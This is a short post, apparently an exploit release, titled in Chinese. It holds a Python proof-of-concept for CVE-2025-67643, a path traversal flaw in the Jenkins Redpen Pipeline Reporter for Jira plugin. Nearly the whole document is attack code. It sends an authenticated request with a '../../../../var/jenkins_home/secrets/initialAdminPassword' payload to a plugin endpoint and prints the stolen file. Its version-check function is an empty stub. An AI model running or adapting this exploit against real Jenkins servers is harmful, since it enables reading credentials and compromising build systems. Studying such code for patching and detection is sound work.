CVE-2025-67643: Jenkins Redpen插件路径遍历漏洞允许读取任意文件

# CVE-2025-67643 PoC - Path Traversal in Jenkins Redpen Plugin # This PoC demonstrates how an attacker with Item/Configure permission # can read arbitrary files from Jenkins controller workspace import requests import json JENKINS_URL = "http://target-jenkins-server:8080" TARGET_PLUGIN = "/redpen-jira/uploadArtifact" # Authentication with Item/Configure permission AUTH_TOKEN = "base64_encoded_user:api_token" def exploit_path_traversal(): """ Exploit the path traversal vulnerability to read sensitive files """ headers = { "Authorization": f"Basic {AUTH_TOKEN}", "Content-Type": "application/json" } # Path traversal payload to read Jenkins credentials traversal_path = "../../../../var/jenkins_home/secrets/initialAdminPassword" payload = { "artifactPath": traversal_path, "jobName": "vulnerable-job", "buildNumber": 1 } try: response = requests.post( f"{JENKINS_URL}{TARGET_PLUGIN}", headers=headers, json=payload, timeout=30 ) if response.status_code == 200: print("[+] Successfully exploited path traversal vulnerability") print(f"[+] Retrieved content: {response.text}") return response.text else: print(f"[-] Exploitation failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def check_plugin_version(): """ Check if target is running vulnerable version """ # Query Jenkins plugin manager API pass if __name__ == "__main__": print("CVE-2025-67643 Path Traversal Exploitation") print("Target: Jenkins Redpen - Pipeline Reporter for Jira Plugin") exploit_path_traversal()